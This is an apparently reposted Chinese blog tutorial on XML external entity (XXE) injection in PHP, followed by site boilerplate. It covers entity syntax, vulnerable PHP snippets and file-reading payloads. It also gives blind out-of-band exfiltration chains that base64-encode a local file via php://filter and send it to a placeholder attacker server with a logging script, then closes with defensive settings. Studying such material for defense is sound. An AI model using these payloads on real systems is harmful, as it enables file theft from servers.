xxe

参考文献:https://www.cnblogs.com/r00tuser/p/7255939.html
http://www.freebuf.com/column/156863.html

libxml2.9.1及以后,默认不解析外部实体。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。

xxe是xml外部实体注入。
实体又分为一般实体和参数实体
① 一般实体的声明语法:

<!ENTITY 实体名 "实体内容">

引用实体的方式:&实体名;
②参数实体只能在DTD中使用,参数实体的声明格式: <!ENTITY % 实体名 "实体内容">
引用实体的方式:%实体名;
有回显:

<?php
$data = simplexml_load_string($_GET['xml']);
print_r($data);
?>

无回显

<?php
$data = simplexml_load_string($_GET['xml']);
?>

利用xxe漏洞可以进行拒绝服务攻击,一般xxe利用分为两种:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据

(1)有回显,可利用的方式:(&需要转化为url编码%26)

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

<!DOCTYPE xxe [<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini">]>
<foo>&xxe;</foo> 

(2)无回显,可利用的方式
可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(自己服务器)
%号要进行实体编码成&#x25(16进制)或&#37(10进制);
①.偷用下师父的payload。
自己服务器下的xxe.xml内容

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/1.txt">  
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://xxx.xxx.xxx.xxx/xxe/xxe.php?yy=%payload;'>">  
%int;  
%trick;  

在xxe.xml同级还有个xxe.php文件

<?php
file_put_contents('1.txt',$_GET['yy']);
?>

在外部攻击的内容:

<!DOCTYPE root[  
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/xxe/xxe.xml">  
%remote;]>  
<root/>

②.

<!DOCTYPE file1 [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/1.txt">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/xxe.dtd">
%dtd;
%send;
]>

在xxe.dtd同级还有个xxe1.php文件:

<?php
file_put_contents('1.txt',$_GET['yy']);
?>

xxe.dtd里面的内容:

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx/xxe1.php?yy=%payload;'>">
%all;

这个payload的原理和师父的一样。可以在1.txt里面或者是日志里面查看base64加密过的想要查看的文件,(查看日志的命令:tail -f /var/log/apache2/access.log

如何防御xxe攻击
①使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
②过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

优秀的个人博客,低调大师

微信关注我们

原文链接:https://yq.aliyun.com/articles/654399

转载内容版权归作者及来源网站所有!

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。

相关文章

发表评论

资源下载

更多资源
优质分享Android(本站安卓app)

优质分享Android(本站安卓app)

近一个月的开发和优化,本站点的第一个app全新上线。该app采用极致压缩,本体才4.36MB。系统里面做了大量数据访问、缓存优化。方便用户在手机上查看文章。后续会推出HarmonyOS的适配版本。

Oracle Database,又名Oracle RDBMS

Oracle Database,又名Oracle RDBMS

Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是目前世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小、微机环境。它是一种高效率、可靠性好的、适应高吞吐量的数据库方案。

Eclipse(集成开发环境)

Eclipse(集成开发环境)

Eclipse 是一个开放源代码的、基于Java的可扩展开发平台。就其本身而言,它只是一个框架和一组服务,用于通过插件组件构建开发环境。幸运的是,Eclipse 附带了一个标准的插件集,包括Java开发工具(Java Development Kit,JDK)。

Sublime Text 一个代码编辑器

Sublime Text 一个代码编辑器

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。